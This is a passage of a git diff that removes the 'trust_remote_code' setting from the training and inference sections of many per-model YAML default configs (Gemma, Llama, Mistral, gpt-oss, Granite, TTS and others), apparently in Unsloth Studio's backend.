a4acbe9262..98fe497912 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/gemma-2-2b-bnb-4bit, google/gemma-2-2b training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml index 455407abf8..bda5471643 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml index 2bcdf67c15..18392568bd 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml index 7c123da0b8..434ac41b46 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml index 492c42812e..5f0a7b26ce 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 2 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml index 23d00df752..dd5ae51ab0 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: audio_input: true inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml index bf5e111b7d..e53e163a04 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 2 num_epochs: 0 @@ -45,7 +44,6 @@ logging: audio_input: true inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml index c80506d9f5..ebe344e382 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-26B-A4B-it, unsloth/gemma-4-26B-A4B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml index 9e579be503..fb89a07133 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-26B-A4B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml index cec4ea95e1..4a089992ac 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-31B-it, unsloth/gemma-4-31B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml index 717cdd5e63..ae7524b7c6 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-31B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml index 43e3d78a23..10c1abd8a5 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E2B-it, unsloth/gemma-4-E2B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml index bd86cef751..fb5c1d9dea 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E2B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml index a8ef51836b..189e5dc6b2 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E4B-it, unsloth/gemma-4-E4B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml index 740cc99df5..aa51440b6a 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E4B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml index bd39e70a96..e2d67bcb0b 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml index 839e9a5b75..aa436117a1 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml index 9557fc296f..3f2cb84a94 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -47,7 +46,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml index ce73c6a8ee..ab756fe764 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -47,7 +46,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml index d9a75c391d..1a7a91e56f 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml index 2bc3f6f871..7c7bb8dc3e 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Llama-3.2-1B-Instruct-unsloth-bnb-4bit, meta-llama/Llama-3.2-1B-Instruct, unsloth/Llama-3.2-1B-Instruct-bnb-4bit, RedHatAI/Llama-3.2-1B-Instruct-FP8, unsloth/Llama-3.2-1B-Instruct-FP8-Block, unsloth/Llama-3.2-1B-Instruct-FP8-Dynamic training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 5 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml index 82091c7d35..f73b0c09b6 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml index 5a014a63bf..ffefb29e24 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml index 885f7b47fd..cd986a6da1 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Meta-Llama-3.1-8B-bnb-4bit, unsloth/Meta-Llama-3.1-8B-unsloth-bnb-4bit, meta-llama/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-70B, meta-llama/Meta-Llama-3.1-70B, unsloth/Meta-Llama-3.1-405B-bnb-4bit, meta-llama/Meta-Llama-3.1-405B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml index 1ff06cca6f..55dd3144c6 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Meta-Llama-3.1-8B-Instruct-unsloth-bnb-4bit", "meta-llama/Meta-Llama-3.1-8B-Instruct", "unsloth/Meta-Llama-3.1-8B-Instruct","RedHatAI/Llama-3.1-8B-Instruct-FP8","unsloth/Llama-3.1-8B-Instruct-FP8-Block","unsloth/Llama-3.1-8B-Instruct-FP8-Dynamic" training: - trust_remote_code: false max_seq_length: 8192 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml index 95ee5ead5c..8c9cb07fb9 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/llama-3-8b-Instruct, meta-llama/Meta-Llama-3-8B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml index a05ac86f43..32441c5674 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/llama-3-8b, meta-llama/Meta-Llama-3-8B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml index 1f473c3af1..6bba9c9633 100644 --- a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml +++ b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -40,7 +39,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.2 top_p: 1.2 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml index 5a53bb52eb..f9833ce705 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -49,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 min_p: 0.01 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml index b84f7e1abb..0ba857cd40 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -49,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.15 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml index abdac62c0c..3476f2dd6d 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Mistral-Nemo-Base-2407", "mistralai/Mistral-Nemo-Base-2407", "unsloth/Mistral-Nemo-Instruct-2407-bnb-4bit", "unsloth/Mistral-Nemo-Instruct-2407", "mistralai/Mistral-Nemo-Instruct-2407", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml index 149f2a24f1..eda04d21f9 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Mistral-Small-Instruct-2409-bnb-4bit, mistralai/Mistral-Small-Instruct-2409 training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml index 3976cd0aa0..bcd0d20c8c 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml index 55d5dd289b..34a033e32f 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/mistral-7b-instruct-v0.3, mistralai/Mistral-7B-Instruct-v0.3 training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml index 5b24f5b581..98105eaf38 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml @@ -2,7 +2,6 @@ # Based on Mistral_v0.3_(7B)-Alpaca.ipynb # Also applies to: "unsloth/mistral-7b-v0.3", "mistralai/Mistral-7B-v0.3", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -41,6 +40,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml index 87b94ce67c..72b5b018e1 100644 --- a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml @@ -6,7 +6,6 @@ audio_type: dac training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.4 top_k: 40 top_p: 0.9 diff --git a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml index 03748cd5fd..d20751b0c7 100644 --- a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml +++ b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml @@ -6,7 +6,6 @@ audio_type: bicodec training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -48,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.8 top_k: 50 top_p: 1.0 diff --git a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml index 5c1e180f8c..8a80282a2a 100644 --- a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml +++ b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml @@ -5,7 +5,6 @@ audio_type: csm training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -45,6 +44,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml index 6d8be3656f..a973c2d4e4 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/GLM-4.7-Flash-unsloth-bnb-4bit, unsloth/GLM-4.7-Flash-bnb-4bit, THUDM/GLM-4.7-Flash training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 0.7 top_p: 0.8 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml index 39a2fe0a5b..b0feafbd6e 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -39,7 +38,6 @@ logging: 